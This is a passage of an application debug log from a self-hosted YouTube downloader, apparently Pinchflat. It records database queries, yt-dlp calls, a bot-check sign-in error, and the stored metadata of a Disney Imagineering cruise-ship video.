m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:55.560 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 18:54:55.560 [info] Kicking off download for media item #12001 (d-WdUYdOdHY) 18:54:55.561 [debug] QUERY OK source="tasks" db=0.2ms idle=2.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1703, 12001, ~U[2026-03-29 22:54:55Z], ~U[2026-03-29 22:54:55Z]] 18:54:55.561 [debug] Current batch of media processed. Will check again in 1000ms 18:54:55.568 [info] {"args":{"id":12001},"id":1703,"meta":{},"system_time":1774824895568144747,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:54:55.568 [debug] QUERY OK source="media_items" db=0.1ms idle=8.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 18:54:55.568 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:54:55.568 [debug] QUERY OK source="sources" db=0.1ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:55.569 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:55.569 [debug] QUERY OK source="media_items" db=0.2ms idle=7.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 18:54:55.570 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 18:54:55.570 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:55.570 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:55.571 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:55.571 [debug] Running yt-dlp command for action: get_downloadable_status 18:54:55.571 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:55.571 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:55.572 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:55.572 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/43/9b/439b9875d502b4d44ceb3888712d063bdb6bd480823e3552b419fa98e40d29bc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:54:56.516 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8d/e9/8de929fa02cac5723980ed110191f7cc7d60a0317d8bd4d2a85cd350ba67a5f3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] xX48Eo_uC9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 18:54:56.516 [error] yt-dlp download error for media item #12518: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] xX48Eo_uC9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:54:56.516 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] xX48Eo_uC9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:54:56.516 [info] {"args":{"id":12518},"id":1702,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1956319,"event":"job:stop","queue_time":559477,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:54:56.562 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 Key Takeaways\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 Chapters\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🤖 R&D → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 🚢 in the comments if you hope to get on the Disney Adventure one day!", "filename" => "/downloads/Walt Disney Imagineering/2026-03-10 Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!/Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering! [D2bWh5wTlZ0].NA", "id" => "D2bWh5wTlZ0", "original_url" => "https://www.youtube.com/watch?v=D2bWh5wTlZ0", "playlist_index" => 3, "title" => "Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!", "upload_date" => "20260310"} 18:54:56.563 [debug] QUERY OK source="sources" db=0.1ms idle=991.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:54:56.563 [debug] QUERY OK source="sources" db=0.1ms idle=991.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:56.564 [debug] QUERY OK source="media_items" db=0.7ms idle=46.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 00:00:00Z], 2] 18:54:56.567 [debug] QUERY OK source="media_items" db=2.2ms idle=41.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 Key Takeaways\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 Chapters\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🤖 R&D → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 🚢 in the comments if you hope to get on the Disney Adventure one day!", "Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!", "76a55d1b-f8dd-4f75-9b88-fc7ac1273fef", "D2bWh5wTlZ0", "https://www.youtube.com/watch?v=D2bWh5wTlZ0", false, false, 3, "/downloads/Walt Disney Imagineering/2026-03-10 Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!/Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering! [D2bWh5wTlZ0].NA", false, false, 2, [], 98, ~U[2026-03-10 00:00:00Z], ~U[2026-03-29 22:54:56Z], ~U[2026-03-29 22:54:56Z], "Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 Key Takeaways\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 Chapters\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🤖 R&D → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unfor (truncated) 18:54:56.567 [debug] QUERY OK source="sources" db=0.1ms idle=38.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:56.568 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:56.568 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 18:54:56.568 [info] Kicking off download for media item #11511 (D2bWh5wTlZ0) 18:54:56.570 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1704, 11511, ~U[2026-03-29 22:54:56Z], ~U[2026-03-29 22:54:56Z]] 18:54:56.570 [debug] Current batch of media processed. Will check again in 1000ms 18:54:56.576 [info] {"args":{"id":11511},"id":1704,"meta":{},"system_time":1774824896576152244,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:54:56.576 [debug] QUERY OK source="media_items" db=0.2ms idle=7.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 18:54:56.576 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:54:56.577 [debug] QUERY OK source="sources" db=0.1ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:56.577 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", 